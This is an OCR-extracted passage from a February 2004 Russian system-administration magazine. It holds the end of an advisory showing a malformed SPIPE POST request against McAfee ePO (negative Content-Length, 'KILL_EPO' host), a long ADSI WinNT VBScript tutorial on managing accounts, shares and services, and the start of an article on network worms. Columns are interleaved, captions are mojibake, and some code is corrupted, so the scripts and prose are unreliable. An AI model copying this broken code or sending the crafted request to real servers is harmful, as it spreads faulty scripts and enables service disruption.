POST /spipe/pkg?AgentGuid={}&Source=Agent_3.0.0 HTTP/1.0 .(./sql.).
Accept: application/octet-stream .(./target.).
Accept-Language: en-us .(./project.).
Content-Type: application/octet-stream
User-Agent: Mozilla/4.0 (compatible; SPIPE/3.0; Windows)
Host: KILL_EPO URL производителя: http://www.pointbase.com/node.shtml?-
Content-Length: -1 navHier=Products/Products+Overview&CF=products/
Connection: Keep-Alive
overview.jsp
URL производителя: http://www.nai.com/us/products/mcafee/ Решение: Способов устранения обнаруженной уязвимо-
antivirus/fileserver/epo.htm сти не существует в настоящее время.
Решение: Способов устранения обнаруженной уязвимо-
сти не существует в настоящее время. Cоставил Александр Антипов

64
образование

ПРОГРАММНОЕ
УПРАВЛЕНИЕ ADSI:
WinNT

В предыдущей статье были рассмотрены теоретические аспекты построения Active Directory


и проведен обзор доступных провайдеров, с помощью которых можно программно управлять
Active Directory. Одним из таких провайдеров является WinNT, основы программирования которого
будут рассмотрены в данной статье.

ИВАН КОРОБКО
Объектная модель Доступ к провайдеру WinNT осуществляется по одно-
му из шаблонов:
провайдера WinNT 1) Название класса содержится в запросе. С помощью фун-
Рассмотрим программное управление ADSI с помощью про- кции GetObject формируется запрос, который включает в
вайдера WinNT, с помощью которого осуществляется дос- себя четыре параметра: название протокола – WinNT, имя
туп к классам. Каждый класс содержит один или несколько домена – DomainName, рабочей станции – ComputerName,
подклассов. Объектная модель протокола WinNT, в кото- название объекта – ObjectName, название класса –
рой перечислены только классы, приведена на рисунке 1. ClassName. В этом случае доступ к подклассам осуществ-
ляется с помощью цикла For. На VBScript в общем виде
запрос выглядит следующим образом:

Ïðèìåð 1à)

Set obj=GetObject("WinNT://" & DomainName & "/" & ↵


ComputerName & "/" & ObjectName & "," & ClassName).
For Each element In obj
element.value
Next

Параметры ComputerName и ObjectName могут отсутство-


вать в том случае, если осуществляется поиск объектов.
Ðèñóíîê 1
Доступ к объектам по протоколу WinNT описывается 2) Подключение к классу с помощью фильтра. Метод по
запросом, имеющим вид: своей сути аналогичен предыдущему. Такой способ до-
ступа к данным позволяет значительно увеличить ско-
WinNT:[//DomainName[/ComputerName[/ObjectName[,ClassName]]]] рость исполнения скрипта.

66
образование
Ïðèìåð 1á) Соответствия классов и подклассов приведено в таб-
Set obj = GetObject("WinNT://" & DomainName)
лице 2:
obj.Filter = Array("user") Òàáëèöà 2
For Each element In obj
element.value
Next

Приведем два примера: в первом примере будет осу-


ществляться поиск объектов класса и вывод свойств этих
объектов, во втором – чтение и вывод свойств заданного
объекта. В первом примере с помощью скрипта на VBScript
будут определены учетные записи пользователей домена
и прочитаны их имена:

Ïðèìåð 2à). Ïåðâûé ñïîñîá äîñòóïà ê îáúåêòíîé ìîäåëè

strDomain="MyDomain"
Set Computer =GetObject("WinNT://" & strDomain & ",user")
For Each User in Computer
users_d=users_d & " "& User.Name & chr(13) Из объектной модели протокола WinNT видно, что в
Next пространстве имен NameSpace существует всего два клас-
Wsh.Echo users_d
са: Domain и Computer. Рассмотрим каждый из этих клас-
Ïðèìåð 2á) Âòîðîé ñïîñîá äîñòóïà ê îáúåêòíîé ìîäåëè сов в отдельности.
strDomain="MyDomain"
Set Computer =GetObject("WinNT://" & strDomain)
Computer.Filter = Array("user")
For Each User in Computer Класс Domain
users_d=users_d & " "& User.Name & chr(13)
Next
Wsh.Echo users_d Определение доступных доменов
Класс Domain является верхним уровнем пространства
Во втором примере явным образом задается имя имен, поэтому для определения доступных доменов в фун-
пользователя и осуществляется чтение его свойств: кции GetObject() ограничиваются название протокола. Не-
обходимо помнить, что название протокола должно быть
Ïðèìåð 3a). Ïåðâûé ñïîñîá äîñòóïà ê îáúåêòíîé ìîäåëè написано именно WinNT – в противном случае сценарий
strDomain="MyDomain" выдаст ошибку:
strUser="MyUserName"
Set Computer =GetObject("WinNT://" & strDomain & "/" ↵ Ïðèìåð 4
& strUser & ",user")
users_d= User.Name & chr(13)
Wsh.Echo users_d Set obj=GetObject("WinNT:")
For Each element In obj
Ïðèìåð 3á). Âòîðîé ñïîñîá äîñòóïà ê îáúåêòíîé ìîäåëè temp=element.Name
Next
MsgBox temp
strDomain="MyDomain"
Set Computer =GetObject("WinNT://" & strDomain)
Computer.Filter = Array("user")
For Each User in Computer
users_d= User.Name & chr(13)
Next
Чтение параметров класса Domain
Wsh.Echo users_d Класс Domain включает в себя восемь параметров. Все
эти параметры задаются в групповых политиках, за ис-
Чтобы эффективно пользоваться объектной моделью, ключением параметра Name. Описание параметров см. в
необходимо знать назначение классов, какие они включают в Приложении.
себя подклассы и какие параметры имеют подклассы. Назна- При создании скрипта на VBScript необходимо помнить,
чение и название каждого класса приведено в таблице 1: что VBScript не преобразует типы данных автоматически,
Òàáëèöà 1 поэтому числовые данные необходимо преобразовывать
в строковые с помощью функции cstr().

Ïðèìåð 5. ×òåíèå âñåõ ïîëåé êëàññà Computer

Set obj=GetObject("WinNT:")
For Each element In obj
t1="Name: " + cstr(element.Name)+chr(13)
t2="MinPasswordLength: "+ ↵
cstr(element.MinPasswordLength)+chr(13)
t3="MinPasswordAge: " + cstr(element.MinPasswordAge)+chr(13)
t4="MaxBadPasswordsAllowed: "+ ↵
cstr(element.MaxBadPasswordsAllowed)+chr(13)
t5="AutoUnlockInterval: " + ↵
cstr(element.AutoUnlockInterval)+chr(13)
t6="LockoutObservationInterval: " + ↵
cstr(element.LockoutObservationInterval)
temp=temp+t1+t2+t3+t4+t5+t6+chr(13)+chr(13)

№2(15), февраль 2004 67


образование
Next Ïðèìåð 8: Îïðåäåëåíèå âñåõ ó÷åòíûõ çàïèñåé ïîëüçîâàòåëåé,
MsgBox temp âõîäÿùèõ â äîìåí
Set objDomain=GetObject("WinNT:")
For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
Set obj=GetObject("WinNT://" & Domain_Name)
obj.filter=array("user")
For Each element In obj
temp =temp+element.name+"; "
Next

Создание, переименование и удаление


объектов в домене
Значения MinPasswordAge и MaxPasswordAge указываются В Active Directory существует три типа встроенных объек-
в групповых политиках в днях, поэтому необходим перевод тов: учетная запись пользователя; группа, которая может
в дни, для чего полученное число необходимо разделить на быть локальной или глобальной; учетная запись компью-
86400; значения MinPasswordAge и LockoutObservationInterval тера. С учетной записью пользователя можно проделы-
указываются в групповых политиках в минутах, поэтому по- вать следующие операции: создавать, удалять, переиме-
лученные значения необходимо разделить на 60. новывать; группу можно создавать и удалять; учетную
запись компьютера можно создавать и удалять.
Обновление параметров класса Domain
Установка новых параметров перечисленных значений Создание объектов
осуществляется с помощью метода SetInfo. Создание учетной записи пользователя осуществляется
с помощью функции Create(). Приведем пример, в кото-
Ïðèìåð 6. Èçìåíåíèå çíà÷åíèÿ ìèíèìàëüíîé äëèíû ïàðîëÿ ром создается учетная запись пользователя с именем
â äîìåíà (NewLenght=10)
UserName. При создании скрипта манипуляции с паро-
лем и другими параметрами учетной записи должны про-
NewLenght=10
Set obj=GetObject("WinNT:") изводиться, когда учетная запись существует, т.е. после
For Each element In obj применения метода: SetInfo.
element.MinPasswordLength= NewLenght
obj.SetInfo
temp ="NEW: MinPasswordLength: "+ ↵ Ïðèìåð 9
cstr(element.MinPasswordLength)+chr(13)
Next Set objDomain=GetObject("WinNT:")
MsgBox temp For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
Set obj=GetObject("WinNT://" & Domain_Name)
NewUser="UserName"
Перечисление объектов класса Domain Set CU=obj.Create("User",NewUser)
Просмотр содержимого контейнера осуществляется с по- CU.SetInfo
мощью конструкции For в соответствии с приведенным ниже
шаблоном. В качестве значения переменной Container мо- Создание учетной записи группы отличается тем, что
жет быть имя домена или компьютера: необходимо указать тип группы с помощью функции Put().
Локальной группе соответствует значение «4», глобаль-
Ïðèìåð 7 ной – «2».
Container="Value"
Set obj=GetObject("WinNT://"& Container) Ïðèìåð 10. Ñîçäàíèÿ ëîêàëüíîé ãðóïïû ñ èìåíåì GroupName
For Each element In obj
temp = temp + element.name + "; " Set objDomain=GetObject("WinNT:")
Next For Each domain_element In objDomain
MsgBox temp Domain_Name= domain_element.Name
Next
Такой метод перечисления объектов будет возвращать Set obj=GetObject("WinNT://" & Domain_Name)
NewGroup="GroupName"
все содержимое любой базы SAM – контроллера домена, Set CG=obj.Create("Group",NewGroup)
сервера или рабочей станции. CG.Put "groupType", 4
CG.SetInfo
В приведенном примере возвращались объекты всех
классов, содержащиеся в домене (или в локальной базе Создание учетной записи компьютера аналогично со-
SAM), поскольку тип объектов не определялся. Поскольку в зданию учетной записи пользователя, за исключением
домене огромное количество объектов, для увеличения ско- следующего:
рости работы скрипта целесообразно использовать фильтр. ! объект должен быть создан с использованием класса
Фильтр может в себя включать следующие объекты: computer;
Òàáëèöà 3 ! у объекта должен быть установлен пользовательский
флаг Ошибка! Недопустимый объект гиперссылки. (см.
раздел «Манипулирование пользовательскими флага-
ми функцией UserFlags»);

68
образование
! начальный пароль учетной записи должен соответство- Ïðèìåð 14. ×òåíèÿ ïàðàìåòðîâ ïîäêëàññà User
вать имени компьютера, введенного строчными бук- Set obj=GetObject("WinNT:")
вами. Результата добиваются с помощью функции For Each str In obj
LCase(). DomainName=str.Name
Next
Set UserName="Value"
Ïðèìåð 11. Ñîçäàíèÿ ó÷åòíîé çàïèñè êîìïüþòåðà ñ èìåíåì Set element=GetObject("WinNT://" & DomainName & "/"& UserName)
ComputerName u1="FullName: "+ cstr(element.FullName)+chr(13)
u2="UserFlags: "+ cstr(element.UserFlags)+chr(13)
Set objDomain=GetObject("WinNT: ") u3="LoginScript: "+ cstr(element.LoginScript)+chr(13)
For Each domain_element In objDomain u4="MaxBadPasswordsAllowed: "+ ↵
Domain_Name= domain_element.Name cstr(element.MaxBadPasswordsAllowed)+chr(13)
Next u5="PasswordHistoryLength: "+ ↵
Set obj=GetObject("WinNT://" & Domain_Name) cstr(element.PasswordHistoryLength)+chr(13)
NewComputer="ComputerName" u6="AutoUnlockInterval: "+ ↵
Set CC=obj.Create("Computer", ↵ cstr(element.AutoUnlockInterval)+chr(13)
UCase(NewComputer)) u7="PasswordAge: "+ cstr(element.PasswordAge)+chr(13)
CC.SetInfo u8="PasswordExpired: "+ cstr(element.PasswordExpired)+chr(13)
Set CAccount= GetObject("WinNT://" & ↵ temp=""
Domain_Name&"/"& NewComputer&"$,user") temp=u1+u2+u3
CAccount.Put "UserFlags", (CAccount.Get("UserFlags") ↵
Or &H1000)
CAccount.SetPassword(LCase(NewComputer))
CAccount.SetInfo Манипулирование пользовательскими
флагами функцией UserFlags
Для просмотра и изменения состояния пользовательских
Удаление объектов флагов в базе SAM применяются методы Get() и Put(),
Все три типа объектов удаляются, используя метод Delete. соответственно. Ниже приведены константы и их описа-
Приведем шаблон, в котором переменная ClassName может ние. Константы представляют собой шестнадцатеричные
принимать значение computer, user, group; NameOfObject – значения флагов:
имя удаляемого объекта: Òàáëèöà 4

Ïðèìåð 12

Set objDomain=GetObject("WinNT: ")


For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
Set obj=GetObject("WinNT://" & Domain_Name)
ClassName="____"
NameOfObject="____"
Set CC=obj.Delete (ClassName, NameOfObject)

Обратите внимание, что объект удаляется немедлен-


но и использовать метод SetInfo не нужно.

Переименование объектов
Среди трех ранее перечисленных объектов переименова-
нию поддается только учетная запись пользователя. Пе-
реименование учетной записи осуществляется с помощью
функции MoveHere():

Ïðèìåð 13

Set objDomain=GetObject("WinNT: ")


For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
OldUserName="____"
NewUserName="____"
Set obj=GetObject("WinNT://" ↵
& Domain_Name&"/"& OldUserName&",user")
obj.MoveHere(User.AdsPath, NewUserName)
obj.Nothing Обратите внимание, что в таблице нет флага для па-
раметра «User Must Change Password at Next Logon».
Для установки флага следует менять значение свойства
PasswordExpired. О том, как это сделать, речь пойдет
Подкласс User позже. Для просмотра и изменения шестнадцатеричных
Учетные записи пользователей домена содержатся в под- флагов используют операторы Or, Xor и And следую-
классе User. Подкласс включает в себя более 20 парамет- щим образом:
ров, некоторые из которых не поддерживаются Windows ! оператор Or – для начальной установки бита. На прак-
2k. Описание параметров см. в Приложении. Параметры тике используется в случае создания новой учетной за-
подкласса изначально задаются в групповых политиках. писи пользователя;

№2(15), февраль 2004 69


образование
! оператор Xor – для переключения статуса флага. Флаг метод SetInfo. Удаление учетной записи пользователя из
может быть активизирован и дезактивирован; группы происходит сразу после вызова метода Remove.
! оператор And – для просмотра значения, хранящегося
в базе SAM. Ïðèìåð 17. Äîáàâëåíèå ó÷åòíîé çàïèñè Value_Name â ãðóïïó
Value_Group

Для просмотра значения флага используется функция Set obj=GetObject("WinNT:")


For Each str In obj
Get(). Рассмотрим пример, в котором прочитаем значе- DomainName=str.Name
ние параметра ADS_UF_DONTEXPIREPASSWD – управ- Next
Set UserName="Value_Name"
ление флагом «Password Never Expires»: Set GroupName="Value_Group"

Ïðèìåð 15 Set element_user=GetObject("WinNT://" & DomainName & ↵


"/"& UserName & ", user")
Set element_group=GetObject("WinNT://" & DomainName & ↵
Set obj=GetObject("WinNT:") "/"& GroupName & ", group")
For Each str In obj
DomainName=str.Name element_group.Add(element_user.ADsPath)
element_group.SetInfo
Next
Set UserName="Value"
temp=""
Set element=GetObject("WinNT://" & DomainName & "/"& UserName) Для удаления учетной записи из группы в приведен-
flag=element.Get("UserFlags") ном примере последние две строки необходимо заменить
if (flag AnD &H10000)<>0 then
temp="Ôëàã óñòàíîâëåí" на строку element_group.Remove(element_user.ADsPath).
else 2) Для перечисления всех пользователей группы, напри-
temp="Ôëàã íå óñòàíîâëåí"
end if мер, группы GroupName, используют свойство Members:
MsgBox temp
Ïðèìåð 18
Для изменения значения флага используется функция Set obj=GetObject("WinNT:")
Put(), которая имеет следующий формат: value.Put For Each str In obj
DomainName=str.Name
«UserFlags» String. Рассмотрим использование данной фун- Next
кции на примере, в котором изменим значение параметра Set GroupName="Value_Group"
Set element_group=GetObject("WinNT://" & DomainName & ↵
на противоположное ADS_UF_DONTEXPIREPASSWD. Для "/"& GroupName & ", group")
того чтобы изменения вступили в силу, необходимо исполь- For each obj inGroup.Members
temp=temp+Member.Name
зовать метод value.SetInfo. Next
MsgBox temp
Ïðèìåð 16

Set obj=GetObject("WinNT:") 3) Просмотр списка групп, к которой принадлежит


For Each str In obj пользователь. Использующийся в данном примере метод
DomainName=str.Name
Next ISMember возвращает значение типа Boolean, т.е. True/
ADS_UF_DONTEXPIREPASSWD=&H0040 False. Сценарий условно можно разделить на три части –
Set UserName="Value"
Set element=GetObject("WinNT://" & DomainName & "/"& UserName) определение текущего домена, определение списка групп
element.put "userFlags", element.Get("UserFlags") ↵ в домене и проверка членства в группе.
Xor ADS_UF_DONTEXPIREPASSWD
element.setinfo
Ïðèìåð 19
MsgBox element.get("UserFlags")
Set objDomain=GetObject("WinNT: ")
For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
Подкласс Group UserName="Administrator"
Set element_user=GetObject("WinNT://" & DomainName & "/"& UserName)
Подкласс Group включает в себя 2 параметра: описание и Set obj=GetObject("WinNT://" & DomainName)
SID группы. Чтение этих параметров происходит анало- obj.filter=array("group")
For Each element In obj
гичным способом, описанным в предыдущем разделе. Set element_group=GetObject("WinNT://" ↵
Изменение описание группы осуществляется использова- & DomainName& "/"& element.name )
if element_group.IsMember ↵
нием метода SetInfo. (element_user.ADsPath)="True" then
temp=temp+ element.name & chr(13)
end if
Взаимосвязь учетных записей Next
пользователей и групп MsgBox temp
В этом параграфе будут рассмотрены вопросы добавле-
ния и исключения учетной записи пользователя из груп- Убрав из данного примера конструкцию For Each element
пы членства пользователей в группе, принадлежность In obj можно, задав имя группы пользователя в явном виде,
пользователя к группам. определять, является ли конкретный пользователь членом
1) Добавление пользователя в группу осуществляется конкретной группы. Задачу, которая была решена в приме-
с помощью функции Add(), для удаления пользователя – ре, можно решить иным способом: необходимо получить
функция Remove(). При использовнии метода Add() что- доступ к учетной записи пользователя и в цикле For в каче-
бы изменения вступили в силу, необходимо использовать стве имени массива указать свойство ArrayName.Groups:

70
образование
Ïðèìåð 20 Òàáëèöà 5
Set obj=GhpLaserJetObject("WinNT://" ↵
& DomainName & "/"& UserName )
For Each element In obj.Groups
temp = temp + element.name + chr(13)
Next

Ïðèìåð 22. Èñïîëüçîâàíèå îäíîé èç êîìàíä

Set pq = GetObject("WinNT://" & server_name & "/" & shares_enum)


Класс Computer pq.purge
Свойства компьютера могут быть получены тем же спо-
собом, что и свойства полей для пользователя или доме-
на. Название и обозначения полей см. в Приложении. Просмотр состояния принтера
Чтение состояния принтера происходит с помощью функ-
ции Status. После получения значения функцией Status
Подклассы PrintQueue, PrintJob, требуется расшифровка значения.
Следует отметить, алгоритм просмотра состояния
PrintJobsCollection пользователя очень похож на алгоритм определения со-
стояния пользователя (см. примеры 14,15; таблицу 4).
Управление принтерами и очередями Константы состояния очереди печати приведены в таб-
принтеров лице 6:
Провайдер WinNT создавался для доступа к объектам Òàáëèöà 6
для семейства Microsoft Windows NT 4.0, поэтому прин-
теры рассматриваются как локальные устройства, что по-
зволяет осуществлять программное управление их оче-
редями печати. В классе Computer существует два под-
класса – PrintQueue и PrintJob. Для доступа к принтеру
необходимо, чтобы устройство было предоставлено в об-
щее пользование.
Список папок и устройств, предоставленных в общее
пользование в домене, включая скрытые папки, можно
получить, используя следующий код:

Ïðèìåð 21

On error Resume Next


Set objDomain=GetObject("WinNT:")
For Each domain_element In objDomain
Domain_Name= domain_element.Name
Next
Set obj=GetObject("WinNT://" Domain_Name ↵
&" /LanmanServer,fileservice")
For Each element In obj
temp=temp+element.Name+chr(13)
msgbox temp

Подключение к принтеру осуществляется с помощью


протокола GetObject() по доступному сетевому имени. Еще
раз хочу обратить внимание, что, хотя подключение к прин-
теру осуществляется как к сетевому устройству, он рас- Ïðèìåð 24
сматривается как локальное устройство. Set objDomain=GetObject("WinNT:")
Приведем пример подключения к принтеру с помощью For Each domain_element In objDomain
протокола WinNT и чтение свойства Name принтера:
Domain_Name= domain_element.Name
Set obj=GetObject(«WinNT://PCName/PrinterShareName»
Next
Set PC_Name="_______"
Set Share_Name="_______"
Описание объектной модели подклассов PrintQueue и
PrintJob см. в Приложении. Set element=GetObject("WinNT://" & Domain_Name &"/" ↵
& PC_Name &"/" & Share_Name)
flag=element.status
Управление принтером MsgBox flag
Управление принтером также осуществляется с помощью
элементов массива объекта, вызванного с помощью фун- Значение переменной flag будет выдано в десятич-
кции GetObject(). Элементы массива содержат не только ном виде, поэтому его необходимо перевести в шест-
строки и массивы, но и команды: надцатеричную систему.

№2(15), февраль 2004 71


образование
Чтение свойств заданий ним для FileService. Поскольку эти два подкласса тесно
в очереди принтера связаны между собой, то их необходимо рассматривать
Очередь печати представляет собой массив, содержащий вместе. Используя эти классы, программно управляют
в себе задания, которые находятся в очереди печати на безопасностью и предоставления доступа к файлам и ка-
момент извлечения из нее данных с помощью протокола талогам.
WinNT. Список и описание свойств параметров очереди Для управления совместно используемыми ресурса-
см. в Приложении раздел PrintJob. ми используется контейнер LanmanServer. Пример со-
единения с контейнером LanmanServer приведен в при-
Ïðèìåð 25. ×òåíèÿ ïîëåé î÷åðåäè мере 21.
Set objDomain=GetObject("WinNT: ") Совместно используемыми ресурсами могут быть
For Each domain_element In objDomain принтеры и папки с файлами. Управление принтерами
Domain_Name= domain_element.Name
Next было рассмотрено ранее. В этом разделе речь пойдет
Shares_Name="Value" именно управлении файлами и папками.
Set pq = GetObject("WinNT://" & Domain_Name & "/" & Shares_Name)
For Each printJob In pq.PrintJobs Рассмотрим следующие ключевые вопросы, касающи-
status_pre=printJob.status еся совместно используемых ресурсов: чтение свойств
select case status_pre ресурсов, создание и удаление совместно используемых
case "0" status_="Íîðìàëüíî" ресурсов.
case "1" status_="Ïàóçà"
case "18" status_="Îøèáêà"
end select Чтение свойств совместно
summary = summary & ”Íîìåð äîêóìåòà: ” & number_docum ↵ используемых ресурсов
& chr(13) & chr(13) & ”Ñòàòóñ: ” & status_pre ↵ Чтение свойств и назначение новых значений парамет-
& chr(13) & ”Ïðèîðèòåò: ” & printJob.Description & chr(13) ↵
& ”Ïîëüçîâàòåëü: ” & printJob.User & chr(13) ↵ ров осуществляется ранее описанным методом. Приве-
& ”Âñåãî ñòð. ” & printJob.TotalPages & chr(13) ↵ дем пример, в котором читается и выводится на экран
& ”Ðàçìåð, (Mb) ” & round(printJob.Size/1000000,2) ↵
& chr(13) & ”Ñòàòóñ: ” & status_pre & chr(13) & chr(13) описание ресурса, затем происходит смена описания ре-
сурса:
Next
Wscript.Echo summary
Ïðèìåð 27

Set objDomain=GetObject("WinNT:")
Управление очередью печати For Each domain_element In objDomain
Domain_Name= domain_element.Name
Подкласс PrintJobsCollection: управление очередью осу- Next
ществляется тем же способом, что и управление принте- Set PC_Name="_______"
Set Share_Name="_______"
ром. Существует три команды, которые могут быть исполь- Set New_Description_Name="_______"
зованы для управления документом, находящимся в оче- Set element=GetObject("WinNT://" & Domain_Name &"/" ↵
& PC_Name &"/LanmanServer/" & Share_Name)
реди печати: temp="Old Description: " + Element.Description+chr(13)
Element.Description = New_Description_Name
Òàáëèöà 7 Element.SetInfo
temp="New Description " + Element.Description
msgbox temp

Пример, в котором удаляется второе задание из оче- Программное создание и удаление


реди печати. Если задание № 2 отсутствует, то ошибка совместно используемого ресурса
обрабатывается с помощью выражения «On Error Resume Создание совместно используемого ресурса осуществля-
Next»: ется с помощью метода Create. В свойствах метода ука-
зывается тип создаваемого ресурса, в данном случае
Ïðèìåð 26 fileshare, и название ресурса (ShareName). Метод Create
On Error Resume Next обязательно сопровождается методом Path, с помощью
Set objDomain=GetObject("WinNT: ") которого задается путь к ресурсу и методом SetInfo, кото-
For Each domain_element In objDomain
Domain_Name= domain_element.Name рый сохраняет сделанные изменения. Приведем пример,
Next в котором предоставим в общее пользование папку, ло-
Shares_Name="Value"
Set pq = GetObject("WinNT://" & Domain_Name & "/" & Shares_Name) кальный путь к которой «c:\folder001». Сетевой путь пап-
For Each printJob In pq.PrintJobs ки должен быть «\\1000pc\Share1». Описание папки –
If (number_docum=2) then
printJob.remove «Shared Folder #1»:
end if
Next Ïðèìåð 28. Ñîçäàíèå ðåñóðñà

Set objDomain=GetObject("WinNT:")
For Each domain_element In objDomain
Подклассы FileService и FileShare Domain_Name= domain_element.Name
Next
Подклассы FileService и FileShare являются дочерними Set PC_Name="1000pc"
Set Share_Name="Share1"
для подкласса Service, причем FileShare является дочер- Set Folder_Path="c:\Folder1"

72
образование
Set Description_Name="Shared Folder #1" Domain_Name= domain_element.Name
Set object=GetObject("WinNT://" & Domain_Name &"/" ↵ Next
& PC_Name &"/LanmanServer") Set Service_Name="______"
Set element=object.Create("fileshare", Share_Name) Set PC_Name="______"
element.Path= Folder_Path
element.Description= Description_Name Set object=GetObject("WinNT://" & Domain_Name &"/" ↵
element.MaxUserCount =10 & PC_Name &",Computer")
element.SetInfo Set Service=object.GetObject("service", Service_Name)
Flag1=0
Для удаления используемого ресурса вместо метода Flag2=0
Dim New_Array() ' Îáúÿâëåíèå ïóñòîãî ìàññèâà
Create используют метод Delete. Изменения вступают в Set Dependency_Name="_______"
силу немедленно: If IsArray(Service.Dependencies)=True Then
For Each obj in Service.Dependencies
' Îïðåäåëåíèå âåðõíåé ãðàíèöû ìàññèâà Dependencies
Ïðèìåð 29. Óäàëåíèå ðåñóðñà i=Ubound(New_Array)+1
' Ïåðåîïðåäåëåíèå ðàçìåðà ìàññèâà New_Arrray
Set objDomain=GetObject("WinNT:") ReDim Preserve New_Array (i)
For Each domain_element In objDomain New_Array(i)=obj
Domain_Name= domain_element.Name If obj="" then
Next Flag1=1
Set PC_Name="1000pc" end if
Set Share_Name="Share1" If obj= Dependency_Name then
Set Folder_Path="c:\Folder1" Flag2=1
Set Description_Name="Shared Folder #1" end if

Set object=GetObject("WinNT://" & Domain_Name &"/" ↵ if Flag1=1 then


& PC_Name &"/LanmanServer") Service.dependencies= ↵
Call object.Delete("fileshare", Share_Name) Array(Dependency_Name)
Service.SetInfo
Else
If Flag2<>1
i=Ubound(New_Array)+1
Подкласс Service ReDim Preserve New_Array (i)
New_Array(i)= Dependency_Name
С помощью данного подкласса осуществляется управле- Service.dependencies= New_Array
Service.SetInfo
ние различными службами. С его помощью могут быть End if
осуществлены следующие действия, касающиеся служб: End if
Else
перечисление служб, установленных на локальном или If Service.dependencies <> Dependency_Name then
удаленном компьютере; чтение свойств выбранной служ- Service.dependencies = ↵
array(Service.dependencies, ↵
бы; управление службой. Dependency_Name)
Service.SetInfo
End if
Перечисление служб End if
на выбранном компьютере
Перечисление служб на рабочей станции осуществляет-
ся с помощью фильтра. Пример использования фильтра
см. в разделе «Объектная модель провайдера WinNT»; Заключение
примеры 2б) и 3б); в таблице 2 перечислены все возмож- Рассмотрев объектную модель провайдера WinNT; изу-
ные фильтры. чив на простых примерах основные принципы програм-
мирования ADSI с помощью этого провайдера; методы,
Чтение свойств служб поддерживаемые провайдером WinNT, такие как SetInfo,
на выбранном компьютере Create, Delete и т. д., можно приступать к программиро-
Перечисление служб на рабочей станции осуществляет- ванию с помощью провайдера WinNT. Однако необхо-
ся с помощью фильтра. димо оговориться: провайдер WinNT изначально созда-
вался для Windows NT 4.0. В этом есть свои плюсы и
Связывание служб свои минусы. По сравнению с программированием че-
на выбранном компьютере рез провайдера LDAP, программирование через WinNT
Понятие «связывание служб» лучше всего продемонст- содержит гораздо меньше программного кода. Поэто-
рировать на реальном примере: представьте, что служ- му программировать через провайдер WinNT проще.
ба 1 связана, т.е. является зависимой от службы 2. Это Принтеры рассматриваются как локальные, что имеет
обозначает, что при остановке службы 1 появится сооб- свои плюсы и минусы. Изучив объектную модель про-
щение о необходимости остановки службы 2. Связан- токола LDAP, можно убедиться в том, что сочетание про-
ность служб характеризуется свойством Dependencies. граммирования через оба провайдера обеспечит наи-
Свойство Dependencies является массивом, см. Прило- лучший результат: максимальный функционал при ми-
жение. нимизации кода скрипта.

Ïðèìåð 30. Ñâÿçûâàíèå ñëóæá 1


Логично предположить, что свойство возвращает ко-
On Error Resume Next личество установленных процессоров, однако это не так:
оно отображает используемый в системе HAL (аппарат-
Set objDomain=GetObject("WinNT:")
For Each domain_element In objDomain ный уровень абстракций).

№2(15), февраль 2004 73


образование
Приложение. Объектная модель WinNT objectClass Computer
objectClass Domain

objectClass PrintQueue

objectClass User objectClass PrintJob

objectClass FileService

objectClass FileShare

objectClass Service

objectClass Group

74
безопасность

ЖИЗНЕННЫЙ ЦИКЛ ЧЕРВЕЙ


– Червь придет обязательно?
– Обязательно.
Френк Херберт, «Дюна»

Червями принято называть сетевые вирусы, проникающие в зараженные машины вполне


естественным путем, без каких-либо действий со стороны пользователя. Они ближе всех
остальных вирусов подобрались к модели своих биологических прототипов и потому чрезвычайно
разрушительны и опасны. Их не берут никакие превентивные меры защиты, антивирусные сканеры
и вакцины до сих пор остаются крайне неэффективными средствами борьбы. Нашествие червей
нельзя предвидеть и практически невозможно остановить. Но все-таки черви уязвимы. Чтобы
одолеть червя, вы должны знать структуру его программного кода, основные повадки, наиболее
вероятные алгоритмы внедрения и распространения. Сеть Интернет в целом и операционные
системы в частности – это настоящий лабиринт, и вам понадобится его подробная карта
с отметками секретных троп и черных ходов, используемых червями для скрытого проникновения
в нервные узлы жертвы. Все это и многое другое вы найдете в этой статье.

КРИС КАСПЕРСКИ
76
безопасность
Инициализация, или Несколько слов чтобы ваше творение не мешало жить и трудиться всем
перед введением остальным. Аминь!
В те минуты, когда пишутся эти строки, в левом нижнем
углу компьютера лениво мигает глазок персонального
брандмауэра, фильтрующего пакеты, приходящие по со-
товому телефону через GPRS (между прочим, очень
хорошая штука – рекомендую!). Эпизодически – не чаще
чем три-пять раз в день – в систему пытается проникнуть
червь Love San (или что-то очень на него похожее), и тог-
да брандмауэр выбрасывает на экран следующее окно (см.
рис. 1). Та же самая картина наблюдается и у двух других
моих провайдеров.
И хотя активность червя неуклонно снижается (пару
месяцев назад атака происходила буквальные каждый
час-полтора), до празднования победы еще далеко. Червь
жил, живет и будет жить! Вызывает уважение тот факт,
что автор червя не предусмотрел никаких деструктивных
действий, в противном случае ущерб оказался невоспол-
нимым, и всей земной цивилизации сильно поплохело бы.
А сколько дыр и червей появится завтра? Было бы Ðèñóíîê 1. Êòî-òî óïîðíî ëîìèòñÿ íà 135 ïîðò, ñîäåðæàùèé
наивно надеяться, что этой статьей можно хоть что-то óÿçâèìîñòü...
исправить, поэтому после долгих колебаний, сомнений
и размышлений я решил ориентировать ее не только на Введение, или превратят ли черви
системных администраторов, но и на… вирусописателей. сеть в компост?
А что, давал же Евгений Касперский советы авторам ви- – А-а, черви. Я должен как-нибудь увидеть одного из них.
русов, предваряя свою статью такими словами: «Успо- – Может быть, вы и увидите его сегодня.
койтесь! Не надо готовить ругательства или, наоборот, Френк Херберт, «Дюна»
потирать руки. Мы не хотим делиться своими идеями с
авторами компьютерных вирусов. Все значительно про-
ще – через наши руки прошло несколько сотен образ-
цов компьютерных животных, и слишком часто в них
встречались одни и те же ошибки. С одной стороны, это
хорошо – такие вирусы часто оказываются «маложиву-
щими», но, с другой стороны, малозаметная ошибка мо-
жет привести к несовместимости вируса и используемо-
го на компьютере программного обеспечения. В резуль-
тате вирус «вешает» систему, компьютер отдыхает, а
пользователи мечутся в панике с криками: «Пусть хоть
100 вирусов, лишь бы компьютер работал!!!» (завтра сда-
вать заказ, не запускается самая любимая игрушка, ком- Ðèñóíîê 2. ×åðâè àòàêóþò! È íè÷òî íå ñìîæåò íè îñòàíîâèòü,
пилятор виснет при выходе в DOS и т. п.). И все это про- íè ñáèòü èõ ñ ïóòè
исходит при заражении довольно безобидным вирусом. Если кто и разбирается в червях, так это Херберт. Ужас-
